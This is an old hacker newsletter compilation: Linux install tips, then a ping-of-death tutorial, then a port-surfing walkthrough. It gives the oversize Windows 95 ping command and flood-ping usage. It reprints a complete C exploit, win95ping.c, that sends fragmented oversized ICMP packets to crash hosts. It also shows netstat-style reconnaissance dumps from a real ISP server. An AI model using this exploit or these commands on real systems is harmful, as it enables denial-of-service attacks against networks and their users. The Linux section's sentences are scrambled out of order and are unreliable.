are: 1) Although you in theory can run Linux on a 286 with 4 MB RAM and two floppy drives. a graphical user interface * utility programs such as the email reader Pine (my favorite) and Elm Top ten reasons to install Linux on your PC: 1. 2) Know as much as possible about what type of mother board. it is so much fun to run fdisk without backing up first. . especially if following the advice of point 7). you'll find out tomorrow there was a far more 3l1te ersion you should have gotten instead. it doesn't offer device drivers for all the latest hardware.sex.No matter what flavor of Linux you install. * X (sometimes called X-windows). and at least 200 MB free hard disk space. 2. They will offer their sympathy instead. hard disk. Basic (the best language for a beginner). 6. and hence is not directly compatible with DOS and Windows. When installing Linux. What types of Linux work best? It depends on what you really want. The first time I successfully installed Linux. that is! My approach has been to get lots of Linux versions and mix and match the best from each distribution. If you have any documentation for these.for Linux. is a multitasking. only outlaws will own Linux.BASH -. forget I ever suggested it. you boss won't have a clue what that means. 7. I like the Walnut Creek version best because with my brand X hardware. 4) Before beginning installation. C.. 3) It works better to use hardware that is name-brand and somewhat out-of-date on your computer. Associated programs that come with most Linux distributions may include: * a shell program (Bourne Again Shell -. In any case." Oops. it is so flexible that many DOS and Windows programs can be run while in Linux.is most common).People who use Free BSD or Solaris will not make fun of you. Modula2.The kernel. 9. 3.At the next Def Con you'll be able to say stuph like "so then I su-ed to his account and grepped all his files for 'kissyface'. each Linux distribution had different utility programs. a CD-ROM. The Walnut Creek Linux 3. modem.

Fry's. But I found that what was in the books did not exactly coincide with what was on the CD-ROMs.os. If you live near a computer swap meet.linux. The directory /pub/Linux/docs/LDP contains the current set of LDP manuals. including the Linux INFO-SHEET and META-FAQ.os.answers linux.setup comp.os. READMEs. The README file there describes how you can order a printed copy of the book of the same name (about 180 pages).math. But be of good cheer. device drivers Linux X Window System servers Writing Linux applications Hardware compatibility Linux installation Networking and communications FAQs.os. The best I have found is http://sunsite. the Internet has an incredible wealth of resources for the Linux -challenged. but at least you won't care how hard it is.linux. They are usually under $20.ucsb.uu. Oh.os.development.linux.* instead Usenet University helps you Announcements important to Linux Linux-specific topics Want your Linux free? Tobin Fricke has pointed out that "free copies of Linux CD-ROMs are available the Linux Support & CD Givaway web site at http://emile.linux.edu:/pub/Linux/docs/FAQ.announce comp.system comp. How-To's.unc. or other such place.os. Since everyone else also suffers mightily when installing and using Linux.linux alt. which is now up to a seven CD set.questions comp. I didn't like any of them! But they are better than nothing. do I have 7 advisories up there? Forget number 7. Use comp.linux. you can start out with Linux support Web sites.comp. you may want to post questions to the amazing number of Usenet news groups that cover Linux. I believe.linux.advocacy comp. which includes all major Linux distributions (Slackware. It may not make debugging go any faster.os. Microcenter.6) Buy a book or two or three on Linux.unc.os. etc.os.edu:8000/giveaway.unc. Most books on Linux come with one or two CD-ROMs that can be used to install Linux. It includes the Linux Frequently Asked Questions list (FAQ). you will still have problems installing Linux.unc. Now I can almost guarantee that even following all these 6 pieces of advice.misc Benefits of Linux compared Linux kernels.development.html.linux.misc alt. Now if you don't mind getting flamed. which is an excellent investment. 7) I recommend drinking while installing.edu Web site at: /pub/Linux/docs/HOWTO. The Linux HOWTO archive is on the sunsite.os.apps comp.edu:/pub/Linux/. The project was seeded by Linux Systems Labs.edu in /pub/Linux/docs/LDP/install-guide.linux.linux.edu you'll find a number of other documents about Linux. available from sunsite.redhat. This is a project where people donate Linux CD's that they don't need any more.hardware comp.os.linux. look for Linux CD's there. You can get ``Linux Installation and Getting Started'' from sunsite. These include: comp. If you are allergic to getting flamed.x comp.unc.os.networking comp. who donated 800 Linux CDs initially! Please remember to donate your Linux CD's when you are done with them. Debian. I personally like the Linux Developer's Resource by Infomagic.linux. Redhat.linux. In the directory /pub/Linux/docs on sunsite. Linux for DEC Alpha to name a .os.

attacks ftp://info. You might also want to check out http://www. See if I care! If one of those guys gets caught crashing thousands of Internet hosts and routers. like every operating system. This exploit is a no-brainer. In fact. it is so simple that if you use Windows 95. the operating system that is designed for clueless morons.few)plus mirrors of tsx11. Yeah. 2 Number 3 Introduction to TCP/IP. one-line command that you could use to crash many Internet hosts and routers. Don't try this at home. Linux. We may be the blind leading the blind. So hang in here for some technical stuff.unc.. What is elite is being able to thwart this attack.monitoring.edu/pub/linux plus much more. is imperfect. one-line command from Windows 95. or if you should come across one of the many ISPs that use Linux and want to go exploring (oops.com/ and http://www.caldera.com/bugtraq/ There is also help for Linux users on Internet Relay Chat (IRC). relax.org/. and TCP/IP aren't exactly your bosom buddies yet. ____________________________________________________________ If you have been on the Happy Hacker list for awhile.cert.temple.redhat." How about Linux security? Yes. datagrams. ************************************************** ************************************************** NEWBIE NOTE: If packets.cert.network. but are too elite to do so.unc.mit. which has tons of information. But this hack is a lot less mostly harmless than most. Now if this has been sounding like gibberish to you. if you want to ask Linux questions on the Happy Hacker list. forget I wrote that). It is really very simple.geek-girl.edu/linux.net) hosts a channel called #LinuxHelp on the Undernet IRC server. We'll all think he or she is a dork. if you really want to know.cis.org/pub/cert_advisories/CA-94:01. you need to really get in bed with them in order to call yourself a hacker. not only will they go to jail and get a big fine. That means packets! Datagrams! Ping oversize packet denial of service exploit explained. believe me.edu/linux/linux-security/ http://www. Eminently hackable. here's where you can go for info: ftp://info. When we are done.org/pub/tech_tips/root_compromise http://bach.linux.com/ for more information on commercial versions of linux (which are still freely available under GNU). you're welcome. . You should also visit the WONDERFUL linux page at http://sunsite. So there is nothing elite about this hack. Ben (cyberkid@usa. So if you want to find out how to secure your Linux system. Last but not least.. but what the heck! ____________________________ GUIDE TO (mostly) HARMLESS HACKING Vol. you've been getting some items forwarded from the Bugtraq list on a new ping packet exploit. as well as the http://www. you'll have the satisfaction of knowing you could wreak havoc on the Internet. by the time you finish this article you will know a simple.edu and sunsite. ************************************************* YOU CAN GO TO JAIL WARNING: This time I'm not going to implore the wannabe evil genius types on this list to be virtuous and resist the temptation to misuse the information I'm about to give them.

some forms of the ping command will also tell you how long it takes for a message to go out to that computer and come back again. Ping is a command you can give. there is the complete." The second person whispers to the third. where it came from. Ping uses TCP/IP to make its packets. But when. But if the message is broken into a lot of little pieces and wrapped up into bunches of packets.1 Unix. it will throw it away and tell the other computer to send it again. It is part of the Internet Control Message Protocol (ICMP). The idea is that no transmission technology is perfect. you know it was your ping that just echoed back. The basic format of this command is simply: ping hostname where "hostname" is the Internet address of the computer you want to check out. and that check whether the datagram might have been garbled. you get email. from the Unix. Have you ever played the game "telephone"? You get a dozen or so people in a circle and the first person whispers a message to the second. But how does your computer know that the ping it just sent out actually echoed back from the targeted computer? The datagram is the answer. Then it wraps things around each datagram that tell what computer it needs to go to. So if you get your ping back. "A bum is the lowest form of cheating. Furthermore.A packet is a way to send information electronically that keeps out errors. "Rum is the lowest form of drinking. It tells computers that are hooked up to the Internet how to package up messages into packets and how to read packets these packets from other computers." And so on. you would prefer that it isn't messed up. So the computer that sends the email breaks it up into little pieces called datagrams." Now if the computer sending email to you were to package a really long message into just one packet. What it does is tell a remote computer to echo back a ping. It will then tell the sending computer to retransmit just the packets that messed up. most of them will be good and the receiving computer will keep them. which is used to troubleshoot TCP/IP networks. Windows 95 and Windows NT operating systems." The third whispers. for example. It's really fun to find out how far the message can mutate as it goes around the circle. So when the receiving computer checks the packet and finds that it got messed up. chances are pretty high that it will get messed up while on its way to the other computer. If the returning ping holds this same datagram. Then when all the pieces finally get there. The ping sent out a datagram." ************************************** . Something like "The bun is the lowest form of wheat. TCP/IP stands for Transmission Control Protocol/Internet Protocol. These wrapped up datagram packages are called "packets. for example. you know that computer is alive. It could take a long time until this giant packet gets through intact. On the Internet there are some ten million computers that you can ping. error-free email. Bit burps. ********************************************** "Ping" is a command that sends a feeler out from your computer to another computer to see if it is turned on and hooked to the same network you are on. I get the answer "hostname is alive. When I give this command from Sun Release 4. the receiving computer puts them together in the right order and lo and behold.

guess what. *************************************** **************************************** NEWBIE NOTE: You say you can't find a way to ping from your on-line service? That may be because you don't have a shell account. but if you convince tech support you are a good Internet citizen they may let you use it. ************************************** NETIQUETTE NOTE: Flood pinging a computer is extremely rude. ************************************** . as fast as your ISP's host machine can make them. the down side (from the attackers' viewpoint) is that it keeps the attackers' computers tied up. But there is one thing you really need in order to hack: A SHELL ACCOUNT!!!! The reason hackers make fun of people with America Online accounts is because that ISP doesn't give out shell accounts. And. You may already have a shell account but just not know how to log on to it. either try the command “whereis ping” or complain to your ISP's tech support. However. Call tech support with your ISP to find out whether you have one. try: /usr/etc/ping hostname If this doesn't work. It also puts a heavy load on the network. Hackers with primitive skill levels will sometimes get together and use several of their computers at once to simultaneously ping some victim's Internet host computer. too. This will generally keep the victim's computer too busy to do anything else. If your shell account says "command not found" when you enter the ping command. Get caught doing this and you will be lucky if the worst that happens is your on-line service provider closes your account. you can just about count on there being something hackable in there. Do this to a serious hacker and you may need an identity transplant. you can shut it off by holding down the control key and pressing "c" (control-c). Muhahaha! The flood ping is a simple example. If you should start a flood ping kind of by accident. It may even crash. *************************************** There are all sorts of fancy variations on the ping command. They may have ddiabled ping for ordinary users. This is because America Online wants you to be good boys and girls and not hack! A "shell account" is an Internet account in which your computer becomes a terminal of one of your ISP's host computers. whenever there is a command you give over the Internet that has lots of variations. Once you are in the "shell" you can give commands to the operating system (which is usually Unix) just like you were sitting there at the console of one of your ISP's hosts.TECHNICAL TIP: Because of the destructive powers of ping. and how to get on it. many Internet Service Providers hide the ping program in their shell accounts where clueless newbies can't get their hands on it. If your operating system will let you get away with giving the command: -> ping -f hostname it sends out a veritable flood of pings. This keeps the host you've targeted so busy echoing back your pings that it can do little else.

You may need some help from your ISP tech support in setting this up.0.portal. email hkhenson@cup.1 and discovered all their copyrighted scriptures. That's Keith's email address.0. Your America Online dialer *definitely* will not work.1 . Here's an example of how I use localhost: <slug> [65] ->telnet localhost Trying 127. They were *so* sure he had their scriptures that they took him to court.0. literally laughed them out of court.1 and log in using his or her own user name and password for kewl warez! My ex-husband Keith Henson did that to the Church of Scientology.0.************************************* EVIL GENIUS TIP: Ping yourself! If you are using some sort of Unix. I'm back to the login sequence for the computer named "slug" all over again.com is alive **************************************** ***************************************** MUHAHAHA TIP: Want to yank someone's chain? Tell him to ftp to 127. Don't have it? You can generally find a El Cheapo store that will sell it to you for $99. SunOS UNIX (slug) login: See. .0.com. first set up your Windows 95 system so that you can make a PPP or SLIP connection with the Internet using the Dialup Networking program under the My Computer icon.0.. The COGs ftp-ed to 127.. not theirs. And it will do it without tying up the attackers' computer for any longer than the split second it takes to send out just one ping.1).swcp. the oversize ping packet exploit you are about to learn will do even more damage to some hosts than a gang of flood ping conspirators. They assumed this was on Keith's computer. Now I ping myself: <llama> [68] ->/usr/etc/ping localhost localhost is alive This gives the same result as if I were to command: <llama> [69] ->/usr/etc/ping llama llama. The easiest way to do this hack is to run Windows 95. Escape character is '^]'. your operating system will let you use your computer to do just about anything to itself that it can do to other computers. My hat is off to a superb hacker! ******************************************* However. The judge.0. For a hilarious transcript or audio tape of this infamous court session. when he realized they were simply looping back to their own computer. Connected to localhost. To do this. You must do it this way or this hack won't work.0. The network address that takes you back to your own host computer is localhost (or 127.

It works fine on 4. but not all. get your connected to the Internet. however. At this prompt you can type in a plain ordinary "ping" command: C:\windows\ping hostname where "hostname" is the address of some Internet computer. For example. you could ping thales. which was posted to the Bugtraq list. Some computers. I (Fenner) wrote the following exploit program. check out http://www.************************************ NEWBIE NOTE: If your Internet connection allows you to run a Web browser that shows pictures.org> To: Multiple recipients of list BUGTRAQ <BUGTRAQ@netspace. It should work on Linux if you compile with -DREALLY_RAW.org> Subject: Ping exploit program Since some people don't necessarily have Windows '95 boxes lying around.freebsd. If you want all the gory details on this ping exploit. computers will crash and either remain hung or reboot when they get this ping. and not to crash others'.4BSD systems. ************************************ Next. . You'll get a prompt: C:\windows\> Now let's first do this the good citizen way.sophist. you can use that dialup number with your Windows 95 Dialup Networking program to get either a PPP or SLIP connection.mil Now don't really do this to a real computer! Some.computer. when asked to send back an identical datagram.3. Now there are other ways to manufacture a giant ping datagram besides using Windows 95. Now if you happened to know the address of one of Saddam Hussein's computers. SunOS and Solaris are out.demon. once your Dialup Networking program tell you that you have a connection. and then suddenly go under hours later. which is one of my favorite computers.com.uk/ping." Open this DOS window. you might want to give the command: c:\windows\ping -l 65510 saddam_hussein's. Others will continue working cheerily along.nmia. so BSD 4. you can run this program. get really messed up. For example. Feel free to do with this what you want. * win95ping. It requires a raw socket layer that doesn't mess with the packet.co. if you run certain FreeBSD or Linux versions of Unix on your PC.c * * Simulate the evil win95 "ping -l 65510 buggyhost". From: Bill Fenner <fenner@freefall. Instead. But don't run a browser or anything. including how to protect your computers from it. Please use this tool only to test your own machines. named after an obscure Greek philosopher. Why? That extra added -l 65510 creates a giant datagram for the ping packet. click on the "Start" button and go to the listing "MS-DOS.

069107 cslwin95 > arkroyal: (frag 6144:398@65120) .060787 cslwin95 > arkroyal: (frag 6144:1480@54760+) * 17:26:11.062023 cslwin95 > arkroyal: (frag 6144:1480@56240+) * 17:26:11.018833 cslwin95 > arkroyal: (frag 6144:1480@5920+) * 17:26:11.037464 cslwin95 > arkroyal: (frag 6144:1480@28120+) * 17:26:11. Solaris. Linux might work.050929 cslwin95 > arkroyal: (frag 6144:1480@42920+) * 17:26:11.063247 cslwin95 > arkroyal: (frag 6144:1480@57720+) * 17:26:11.0 Bill Fenner <fenner@freebsd. * * The attack from the Win95 box looks like: * 17:26:11.020112 cslwin95 > arkroyal: (frag 6144:1480@7400+) * 17:26:11. That means that SunOS.048478 cslwin95 > arkroyal: (frag 6144:1480@39960+) * 17:26:11.049698 cslwin95 > arkroyal: (frag 6144:1480@41440+) * 17:26:11.059588 cslwin95 > arkroyal: (frag 6144:1480@53280+) * 17:26:11. BSD4.056347 cslwin95 > arkroyal: (frag 6144:1480@48840+) * 17:26:11.039966 cslwin95 > arkroyal: (frag 6144:1480@31080+) * 17:26:11.4 systems (FreeBSD.015079 cslwin95 > arkroyal: (frag 6144:1480@1480+) * 17:26:11.042579 cslwin95 > arkroyal: (frag 6144:1480@34040+) * 17:26:11.031307 cslwin95 > arkroyal: (frag 6144:1480@20720+) * 17:26:11.054685 cslwin95 > arkroyal: (frag 6144:1480@47360+) * 17:26:11.027628 cslwin95 > arkroyal: (frag 6144:1480@16280+) * 17:26:11. NetBSD.030100 cslwin95 > arkroyal: (frag 6144:1480@19240+) * 17:26:11.032542 cslwin95 > arkroyal: (frag 6144:1480@22200+) * 17:26:11.016637 cslwin95 > arkroyal: (frag 6144:1480@2960+) * 17:26:11.043807 cslwin95 > arkroyal: (frag 6144:1480@35520+) * 17:26:11. * OpenBSD.023869 cslwin95 > arkroyal: (frag 6144:1480@11840+) * 17:26:11.026604 cslwin95 > arkroyal: (frag 6144:1480@14800+) * 17:26:11.* version 1.021346 cslwin95 > arkroyal: (frag 6144:1480@8880+ * 17:26:11.041218 cslwin95 > arkroyal: (frag 6144:1480@32560+) * 17:26:11.022641 cslwin95 > arkroyal: (frag 6144:1480@10360+) * 17:26:11.017577 cslwin95 > arkroyal: (frag 6144:1480@4440+) * 17:26:11.053398 cslwin95 > arkroyal: (frag 6144:1480@45880+) * 17:26:11.058357 cslwin95 > arkroyal: (frag 6144:1480@51800+) * 17:26:11.052164 cslwin95 > arkroyal: (frag 6144:1480@44400+) * 17:26:11.066957 cslwin95 > arkroyal: (frag 6144:1480@62160+) * 17:26:11.038696 cslwin95 > arkroyal: (frag 6144:1480@29600+) * 17:26:11.064479 cslwin95 > arkroyal: (frag 6144:1480@59200+) * 17:26:11.035018 cslwin95 > arkroyal: (frag 6144:1480@25160+) * 17:26:11.org> 22-Oct-1996 * * This requires raw sockets that don't mess with the packet at all (other * than adding the checksum).028871 cslwin95 > arkroyal: (frag 6144:1480@17760+) * 17:26:11. BSDI) will work.047236 cslwin95 > arkroyal: (frag 6144:1480@38480+) * 17:26:11.046276 cslwin95 > arkroyal: (frag 6144:1480@37000+) * 17:26:11. and * BSD4.3-based systems are out.066252 cslwin95 > arkroyal: (frag 6144:1480@60680+) * 17:26:11.068220 cslwin95 > arkroyal: (frag 6144:1480@63640+) * 17:26:11.057313 cslwin95 > arkroyal: (frag 6144:1480@50320+) * 17:26:11.036576 cslwin95 > arkroyal: (frag 6144:1480@26640+) * 17:26:11. I don't have a Linux * system to try it on.033774 cslwin95 > arkroyal: (frag 6144:1480@23680+) * 17:26:11.013622 cslwin95 > arkroyal: icmp: echo request (frag 6144:1480@0+) * 17:26:11.025140 cslwin95 > arkroyal: (frag 6144:1480@13320+) * 17:26:11.

s_addr. IP_HDRINCL. struct sockaddr_in dst. } } else { bcopy(hp->h_addr_list[0]. * This is probably only Linux. hp->h_length). } . } if ((hp = gethostbyname(argv[1])) == NULL) { if ((ip->ip_dst. int on = 1. struct ip *ip = (struct ip *)buf. bzero(buf.h> #include <sys/types. } if (argc != 2) { fprintf(stderr. exit(1). exit(1). sizeof buf). exit(1). */ #ifdef REALLY_RAW #define FIX(x) htons(x) #else #define FIX(x) (x) #endif int main(int argc. &ip->ip_dst. "usage: %s hostname\n".h> #include <netinet/ip_icmp.s_addr = inet_addr(argv[1])) == -1) { fprintf(stderr.* */ #include <stdio.h> #include <sys/socket. struct hostent *hp.h> #include <netinet/in. if ((s = socket(AF_INET. argv[1]).h> /* * If your kernel doesn't muck with raw packets. char **argv) { int s. } if (setsockopt(s. IPPROTO_IP)) < 0) { perror("socket"). int offset. "%s: unknown host\n".h> #include <netinet/ip. char buf[1500]. sizeof(on)) < 0) { perror("IP_HDRINCL"). argv[0]). SOCK_RAW.h> #include <netinet/in_systm. IPPROTO_IP.h> #include <netdb. &on. #define REALLY_RAW. struct icmp *icmp = (struct icmp *)(ip + 1).

******************************************** Of course there are many other kewl things you can do with ping. ip->ip_sum = 0. If you have a shell account. (struct sockaddr *)&dst.. offset += (sizeof buf . you can find out lots of stuph about ping by giving the command: man ping In fact.. icmp->icmp_type = ICMP_ECHO. sizeof dst) < 0) { fprintf(stderr. /* the checksum of all 0's is easy to compute */ for (offset = 0. } } } (End of Fenner's ping exploit message." . "offset %d: ". if you were to do it to an Internet host in Iraq. ip->ip_v = 4. } if (offset == 0) { icmp->icmp_type = 0.sizeof *ip)) { ip->ip_off = FIX(offset >> 3). if you are reading this you don't know enough to keep from getting busted from doing this ping hack. ip->ip_ttl = 255. else ip->ip_len = FIX(418). ip->ip_hl = sizeof *ip >> 2. offset). /* make total 65538 */ if (sendto(s.) ******************************************** YOU CAN GO TO JAIL NOTE: Not only is this hack not elite.sin_addr = ip->ip_dst. buf. /* kernel fills in */ dst. icmp->icmp_cksum = htons(~(ICMP_ECHO << 8)).printf("Sending to %s\n". icmp->icmp_cksum = 0. you can get lots of details on any Unix command with "man. On the other hand.sin_family = AF_INET. sizeof buf. ip->ip_off = FIX(0). ip->ip_id = htons(4321). ip->ip_tos = 0. inet_ntoa(ip->ip_dst)).s_addr = 0. offset < 65536. 0. ip->ip_p = 1. if (offset < 65120) ip->ip_off |= FIX(IP_MF). /* kernel fills in */ ip->ip_src. perror("sendto"). icmp->icmp_code = 0. icmp->icmp_code = 0. ip->ip_len = FIX(sizeof buf). dst.

big deal. safe stuph. Common examples are to send and receive email. Port surfing takes advantage of the structure of TCP/IP. However. and offer Web pages. Happy hacking! ************************ So if you want to read a Web page. FreeBSD or Solaris (all types of Unix) from your PC. you get into that Web server computer without a password. These ports are identified by numbers. which sends information both out and in. A “service” is a program running on a “port. OK. legal. your browser contacts port number 80 and tells the computer that manages that Web site to let you in.edu has many more ports than a typical home computer. ____________________________________________________________ GUIDE TO (mostly) HARMLESS HACKING Vol. read Usenet newsgroups. and your modem. examples of ports are your monitor.most -. The essence of port surfing is to pick out a target computer and explore it to see what ports are open and what you can do with them. which sends information out. your keyboard and mouse. These are programs you can run from Linux. Impress your clueless friends and actually discover kewl. we stumbled across something kewl. One way you can move a step up from the run of the mill computer user is to learn how to port surf. telnet. she is taking a class on personal computers at a community college. But an Internet host computer such as callisto. They are virtual (software) ports.Have fun with ping -. That’s pretty standard for the Internet. the essence of hacking is doing things that aren’t obvious.unm. transfer files. And.and be good! But remember. Many -. They automatically scan your target computers.. This is the protocol (set of rules) used for computers to talk to each other over the Internet. sure enough. just waiting for your input. ************************ Newbie note #1: A computer port is a place where information goes in or out of it. However. So I decided to introduce her to port surfing..” When you telnet to a port. 2 Number 4 More intro to TCP/IP: port surfing! Daemons! How to get on almost any computer without logging in and without breaking the law. She’s 42 and doesn’t own a computer. They will also probe these ports for presence of daemons with know security flaws. like a keyboard or RS232 serial port (for your modem).computers on the Internet will let you do some things with them without needing a password. ____________________________________________________________ A few days ago I had a lady friend visiting. That don’t just jump out at you from the manuals. . and tell you what they are. And while doing it. I'm not begging the evil genius wannabes to be good. Now if you are a lazy hacker you can use canned hacker tools such as Satan or Netcat. that program is up and running. They will tell you what ports are in use. One of the basic principles of Unix (the most popular operating system on the Internet) is to assign a “port” to every function that one computer might command another to perform. See if I care when you get busted. She wanted to know what all this hacking stuph is about. which send information in. Now these are not all physical ports. On your home computer.

Stan (SO11) SAO@NMIA. let’s go for the big time! So how do you find a big kahuna computer on the Internet? We started with a domain which consisted of a LAN of PCs running Linux that I happened to already know about. It’s the difference between watching an x-rated movie and (blush). Domain servers in listed order: . It is a program that runs in the background on many (but not all) Unix system ports. ***************************** So to do this we first logged into my shell account with Southwest Cyberport. If you find a daemon on a port. ***************************** Newbie Note # 3: A domain is an Internet address. 1) You will learn something.com New Mexico Internet Access (NMIA-DOM) 2201 Buena Vista SE Albuquerque.com. Some hacker tools will tell you what the hackable features are of the daemons they detect. Now let me tell you what my middle aged friend and I discovered just messing around. and give them a giant rush. too.COM (505) 877-0617 Record last updated on 11-Mar-94. But I am teaching you how to reach the pinnacle of hackerdom.” They will immediately catch on to the dirty little secret of the hacker world. There are only a few hundred hackers -. Boring. I gave the command: <slug> [66] ->whois nmia. Most hacking exploits are just lamerz running programs they picked up from some BBS or ftp site. But if you enter commands keystroke by keystroke they will see you using your brain. Probing manually you get a gut feel for how the daemon running on that port behaves. Zone Contact: Orrell. It waits for you to come along and use it. I can run programs. First. 3) The truly elite hackers surf ports and play with daemons by hand because it is the only way to discover something new. Technical Contact. Hey. Record created on 11-Mar-94. too.COM Administrative Contact. we decided we didn’t want to waste our time messing with some minor little host computer. and also to look up how that domain is connected to the rest of the Internet. And you can help them play with daemons. there are several reasons to surf ports by hand instead of automatically. If you run a canned hacker tool like Satan your friends will look at you and say. it’s probably hackable.who discover new stuph.******************************** Newbie note # 2: A daemon is not some sort of grinch or gremlin or 666 guy. ******************************** However. that is used by the New Mexico Internet Access ISP: nmia. NM 87106 Domain Name: NMIA. You can use it to look up who runs the computers used by the domain. The rest just run canned exploits over and over and over again. 2) You can impress your friends.at most -. “Big deal.

ORG 198. Connected to grande.10 129.NS.COM GRANDE.com. Here’s how we port surf our way to find this out: <slug> [67] ->telnet grande.115.64.----.ORG(3141) ESTABLISHED TCP 0 0 *(NAMESERVICE) *(*) LISTEN TCP 0 0 *(TELNET) *(*) LISTEN TCP 0 0 *(FTP) *(*) LISTEN TCP 0 0 *(FINGER) *(*) LISTEN TCP 0 0 *(NETSTAT) *(*) LISTEN TCP 0 0 *(SMTP) *(*) LISTEN TCP 0 0 *(LOGIN) *(*) LISTEN TCP 0 0 *(SHELL) *(*) LISTEN TCP 0 0 *(EXEC) *(*) LISTEN TCP 0 0 *(RPC) *(*) LISTEN TCP 0 0 *(NETCONTROL) *(*) LISTEN TCP 0 0 *(SYSTAT) *(*) LISTEN TCP 0 0 *(CHARGEN) *(*) LISTEN TCP 0 0 *(DAYTIME) *(*) LISTEN TCP 0 0 *(TIME) *(*) LISTEN TCP 0 0 *(ECHO) *(*) LISTEN TCP 0 0 *(DISCARD) *(*) LISTEN TCP 0 0 *(PRINTER) *(*) LISTEN TCP 0 0 *(POP2) *(*) LISTEN TCP 0 0 *(POP3) *(*) LISTEN TCP 0 0 *(KERBEROS_MASTER) *(*) LISTEN TCP 0 0 *(KLOGIN) *(*) LISTEN .. including servers: Proto Rcv-Q Snd-Q Local Address (Port) Foreign Address (Port) State ----.NM.org is serving a lot of other Internet hosts beside nmia. OpenVMS VAX V6.67(1256) ESTABLISHED TCP 0 0 GRANDE.2 Now it’s a good bet that grande.121.ORG(NETSTAT) 198.201.59.5 Rev B.166.NM. Escape character is '^]'. TGV MultiNet V3.nm.1 Product License Authorization Expiration Date ---------------.CONFIGURATION" *** Device -----se0 Adapter ------CSR Address Flags/Vector ----------- ------------NONE-NONE- (Shared VMS Ethernet/FDDI) -NONE- MultiNet Active Connections..24(1569) ESTABLISHED TCP 0 0 GRANDE.5(TELNET) ESTABLISHED TCP 0 0 GRANDE.ORG(POP3) 164.2 .--------------------------------------TCP 0 822 GRANDE.121.1.--------------------------MULTINET Yes A-137-1641 (none) NFS-CLIENT Yes A-137-113237 (none) *** Configuration for file "MULTINET:NETWORK_DEVICES.----.ORG(TELNET) AVATAR.ORG(4918) 129.121.NM.org.nm.NMIA.NM.org 15 Trying 129.254.59.1.nm.NM. VAX 4000-400.NM.

1(KERBEROS) *(*) GRANDE.138.H 0 298 se0 127.OR(KERBEROS) *(*) *(*) *(*) *(SNMP) *(*) *(RPC) *(*) *(DAYTIME) *(*) *(ECHO) *(*) *(DISCARD) *(*) *(TIME) *(*) *(CHARGEN) *(*) *(TALK) *(*) *(NTALK) *(*) *(1023) *(*) *(XDMCP) *(*) ESTABLISHED ESTABLISHED ESTABLISHED MultiNet registered RPC programs: Program Version Protocol Port ------.H 0 78 se0 202.H 0 4162 se0 205.77.Gateway.ORG(X11) GRANDE.ORG Up.NM.ORG(4171) OSO.1 Up.97.167.ORG Up.Gateway.ORG Up.NM.205.Gateway.NM.NM.-------.1 ENSS365.160.160.NM.NM.----.196.Gateway.66 ENSS365.NM.NM.ORG Up.H 0 4 se0 202.ORG Up.---198.H 0 82 se0 1500 1500 1500 1500 1500 1500 1500 1500 1500 1500 1500 1500 1500 1500 1500 1500 1500 1500 .NM.NM.0.ORG(4174) OSO.NM.90.TCP TCP TCP TCP TCP UDP UDP UDP UDP UDP UDP UDP UDP UDP UDP UDP UDP UDP UDP UDP UDP UDP UDP UDP UDP 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 *(KSHELL) *(*) LISTEN GRANDE.ORG Up.ORG Up.213.ORG Up.2 ENSS365.243.ORG Up.Gateway.NM.132.H 0 5 se0 204.107.NM.---PORTMAP 2 TCP 111 PORTMAP 2 UDP 111 MultiNet IP Routing tables: Destination Gateway Flags Refcnt Use Interface MTU ---------------------------.0.H 0 71 se0 204.NM.NM.H 0 1 se0 204.89.Gateway.102.Gateway.H 0 78 se0 202.NM.247.ORG Up.H 0 109 se0 205.66 ENSS365.------.0.H 0 19 se0 198.59.0.NM.2 ENSS365.3 ENSS365.Gateway.3 ENSS365.NM.NM.132.Gateway.ORG Up.67 ENSS365.Gateway.0.224.2 ENSS365.ORG Up.1 ENSS365.138.Gateway.59.H 0 1100 se0 198.NM.59.Gateway.0.56.H 0 640 se0 192.167.203.1 LAWRII.167.NM.OR(NAMESERV) *(*) *(TFTP) *(*) *(BOOTPS) *(*) *(KERBEROS) *(*) 127.H 0 729 se0 207.0.H 0 2641 se0 194.ORG Up.4 LAWRII.2 ENSS365.ORG Up.--------.74.2 LAWRII.NM.Gateway.H 0 2 se0 166.1 ENSS365.H 0 113 se0 192.ORG(X11) GRANDE.H 0 385 se0 160.ORG Up.1(NAMESERVICE) *(*) GRANDE.ORG Up.252.4.0.127.2 ENSS365.213.Gateway.13.NM.0.ORG(X11) *(FS) *(*) LISTEN *(NAMESERVICE) *(*) 127.Gateway.NM.ORG Up.1 127.Gateway.ORG Up.Gateway.NM.Host 5 1183513 lo0 4136 198.Gateway.89.131 ENSS365.216.2 ENSS365.NM.ORG(4172) OSO.45.

NM.NM.Gateway.134.98 ENSS365.Gateway.NM.Gateway 0 7990 se0 1500 207.ORG Up.ORG Up.ORG Up.3.Gateway 0 138 se0 1500 192.NM.109.H 0 1451 se0 1500 128.ORG Up.6 GLORY.NM.Gateway.ORG Up.NM.Gateway 0 2022 se0 1500 206.128.89.NM.NM.Gateway 0 239 se0 1500 204.206.Gateway.NM.Gateway 0 1184 se0 1500 204.ORG Up.Gateway.NM.35 ENSS365.ORG Up.67 GLORY.NM.H 0 2093 se0 1500 163.1 LAWRII.0.H 0 97 se0 1500 206.NM.15 ENSS365.66.1 GLORY.ORG Up.NM.66.134.241 ENSS365.Gateway 1 40377 se0 1500 0.Gateway.108.134.Gateway 2 4728741 se0 1500 207.66.NM.H 0 1125 se0 1500 160.105.NM.121.50.Gateway 0 3649 se0 1500 207.NM.ORG Up.73 GLORY.77 LAWRII.Gateway 0 59794 se0 1500 129.NM.113.1 GLORY.132.H 0 25 se0 1500 194.ORG Up.H 0 20 se0 1500 164.160.144 LAWRII.134.Gateway 0 293 se0 1500 204.ORG Up.Gateway 0 99 se0 1500 198.132.NM.2 129.10.69 GLORY.NM.NM.NM.207 GLORY.0 ENSS365.ORG Up.H 0 3397 se0 1500 165.5 GLORY.ORG Up.H 0 10117 se0 1500 206.71 LAWRII.6 ENSS365.NM.Gateway 0 7778 se0 1500 206.79 GLORY.H 0 180 se0 1500 130.8 ENSS365.44.Gateway.0 GLORY.ORG Up.NM.Gateway 0 38 se0 1500 199.Gateway 0 5262 se0 1500 192.22.Gateway 0 51 se0 1500 205.67 GLORY.75 ENSS365.ORG Up.NM.33 ENSS365.Gateway 0 21 se0 1500 204.Gateway 0 626 se0 1500 204.21 ENSS365.NM.Gateway.ORG Up.45.ORG Up.ORG Up.NM.134.1 Up.ORG Up.H 0 198 se0 1500 160.130.H 0 73 se0 1500 198.9 